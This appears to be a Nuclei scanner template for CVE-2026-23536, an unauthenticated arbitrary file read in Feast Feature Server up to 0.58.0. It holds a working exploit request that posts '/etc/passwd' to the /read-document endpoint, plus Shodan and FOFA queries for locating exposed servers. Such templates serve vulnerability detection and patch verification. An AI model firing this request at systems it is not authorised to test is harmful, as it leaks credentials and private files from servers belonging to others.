Feast Feature Server <=0.58.0 - Arbitrary File Read

id: CVE-2026-23536

info:
  name: Feast Feature Server <=0.58.0 - Arbitrary File Read
  author: str4k3r
  severity: high
  description: |
    Feast (the open-source Feature Store) Feature Server through 0.58.0 exposes an unauthenticated POST /read-document endpoint that reads an arbitrary, caller-supplied file path with no authentication and no path validation. The read_document_endpoint handler passes the JSON `file_path` field straight to os.path.exists()/open() and returns the file contents in the JSON `content` field, so a remote, unauthenticated attacker can read any file readable by the server process (e.g. /etc/passwd, feature_store.yaml, cloud credentials). Unlike the store-mutating routes it carries no inject_user_details/permission dependency.
  reference:
    - https://access.redhat.com/security/cve/CVE-2026-23536
    - https://bugzilla.redhat.com/show_bug.cgi?id=2429302
    - https://github.com/feast-dev/feast
    - https://nvd.nist.gov/vuln/detail/CVE-2026-23536
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-23536
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    product: feast
    vendor: feast-dev
    shodan-query: http.favicon.hash:493797515
    fofa-query: icon_hash="493797515"
  tags: cve,cve2026,feast,lfi,traversal,mlops

http:
  - raw:
      - |
        POST /read-document HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"file_path":"/etc/passwd"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"content":'
          - '"file_path":'
        condition: and

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a4c91a112c6419f99a8ca34e748528860486485181235b863df91753c4958565022100f8573df28d7c9137ea87d7a07593741543ac685de16f681542ecdd2991523b7b:922c64590222798bb761d5b6d8e72950